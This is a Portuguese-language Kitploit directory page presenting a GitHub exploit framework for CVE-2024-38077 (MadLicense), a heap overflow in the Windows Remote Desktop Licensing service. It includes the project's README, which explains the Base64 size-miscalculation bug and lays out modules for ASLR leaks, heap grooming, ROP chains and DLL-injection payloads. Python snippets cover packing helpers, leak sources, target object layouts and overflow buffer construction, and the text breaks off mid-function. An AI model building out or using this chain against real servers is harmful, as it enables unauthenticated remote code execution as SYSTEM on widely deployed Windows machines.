Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-38077-MadLicense-exploit — Framework de exploração modular para CVE-2024-38077 (estouro de heap do Windows RDL) com bypass de ASLR, preparação de heap, geração de cadeia ROP e cargas de injeção de DLL para execução remota de código sem autenticação. | Kitploit
Ferramentas/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodeTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Framework de exploração modular para CVE-2024-38077 (estouro de heap do Windows RDL) com bypass de ASLR, preparação de heap, geração de cadeia ROP e cargas de injeção de DLL para execução remota de código sem autenticação.

Ver Repositório
112há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-38077 MadLicense - Framework de Exploração Completo

📚 Documentação Técnica para Apresentação

Este documento explica cada componente do framework, por que existe, e como funciona a exploração de heap buffer overflow em Windows moderno.


🎯 O Que É CVE-2024-38077?

A Vulnerabilidade

O Windows Remote Desktop Licensing Service (lserver.exe) contém um heap buffer overflow na função CDataCoding::DecodeData.

┌─────────────────────────────────────────────────────────────┐
│  VULNERABILIDADE: Cálculo incorreto de tamanho             │
├─────────────────────────────────────────────────────────────┤
│  1. Cliente envia dados Base64 de tamanho N                │
│  2. Servidor calcula: buffer_size = (N / 4) * 3            │
│  3. Servidor aloca buffer de 'buffer_size' bytes           │
│  4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes   │
│  5. Se N não é múltiplo de 4: OVERFLOW!                    │
└─────────────────────────────────────────────────────────────┘

Exemplo concreto:

  • Input: 4001 bytes
  • Cálculo servidor: (4001 / 4) * 3 = 1000 * 3 = 3000 bytes alocados
  • Decode real: ceil(4001 * 0.75) = 3001 bytes escritos
  • Overflow: 1 byte (mas controlável para mais)

Por Que É Crítico?

  1. Pre-Auth: Não precisa de credenciais
  2. Remote: Via rede, porta 135 (RPC)
  3. SYSTEM: Serviço roda como NT AUTHORITY\SYSTEM
  4. Comum: Windows Server 2000-2025 afetados

🏗️ Arquitetura do Framework

Visão Geral dos Módulos

┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Módulo 1: primitives.py - Fundação

O Que É?

Utilitários de baixo nível para manipulação de memória.

Por Que Existe?

Exploits precisam:

  • Converter entre tipos (int ↔ bytes)
  • Gerar padrões para crash analysis
  • Alinhar dados corretamente

Funções Principais

# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Padrão Cíclico - Para identificar offset de crash
cyclic(100)          # Gera sequência De Bruijn
cyclic_find(pattern, value)  # Encontra offset do valor

# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10)  # → 0x1010 (alinha para 16 bytes)

Por Que Isso Importa?

Problema real: Você causa um crash e o RIP contém 0x61616171.

  • Sem cyclic: "Algum lugar no meu buffer..."
  • Com cyclic: cyclic_find(pattern, 0x61616171) → offset exato!

📦 Módulo 2: leak.py - Bypass de ASLR

O Que É ASLR?

Address Space Layout Randomization: A cada boot/execução, os endereços mudam.

Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Por Que Precisamos de Leak?

Sem saber onde está a memória:

  • Não sabemos onde colocar payload
  • Não sabemos endereço dos gadgets ROP
  • Qualquer tentativa = crash aleatório

Estrutura do Módulo

class LeakInfo:
    """Container para endereços vazados"""
    heap_base: int         # Base do heap
    ntdll_base: int        # Base do ntdll.dll
    kernel32_base: int     # Base do kernel32.dll
    # ...

class LeakProvider:
    """Orquestrador de fontes de leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Tenta cada fonte até conseguir

Fontes de Leak Implementadas

FonteComo FuncionaQuando Usar
ManualLeakSourceUsuário fornece endereçosLab/Debug com acesso ao alvo
ResponseLeakSourceExtrai de respostas RPCSe serviço vaza ponteiros
TimingLeakSourceSide-channel de tempoTeórico, muito difícil

Por Que Input Manual?

Em demonstrações/labs, você pode:

  1. Atachar debugger no alvo
  2. Ver base dos módulos
  3. Fornecer via --ntdll-base 0x7ffa...

Isso simula ter um leak real, permitindo testar o resto da cadeia.


📦 Módulo 3: target_model.py - Mapeamento do Alvo

O Que É?

Modelagem das estruturas de dados vulneráveis e adjacentes.

Por Que Existe?

Overflow ≠ Exploração. Precisamos saber:

  • O que estamos sobrescrevendo?
  • Qual o tamanho do objeto?
  • Qual campo é útil corromper?

Componentes

class VulnerableBuffer:
    """O buffer que vai sofrer overflow"""
    allocation_size: int   # Quanto foi alocado
    write_size: int        # Quanto será escrito
    overflow_amount: int   # Diferença = overflow
    
    def calculate_overflow(input_size):
        # Simula o bug de cálculo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Objeto que será corrompido (adjacente no heap)"""
    fields: List[StructField]
    has_vtable: bool       # Tem tabela virtual?
    has_function_ptr: bool # Tem ponteiro de função?

Exemplo de Estrutura Alvo

# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campos mapeados
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Por Que is_target=True?

Marca campos úteis para exploração:

  • vtable: Se sobrescrevermos, controlamos chamadas de método
  • callback: Se sobrescrevermos, controlamos quando callback é chamado

📦 Módulo 4: write_primitive.py - Escrita Controlada

O Problema

Overflow escreve dados sequenciais. Mas precisamos:

  • Escrever valor específico (endereço do nosso ROP)
  • Em offset específico (onde está o vtable pointer)

A Solução

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Constrói buffer de overflow com valores precisos
        
        Layout:
        [PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Coloca valor exato no offset exato
Baixar ferramenta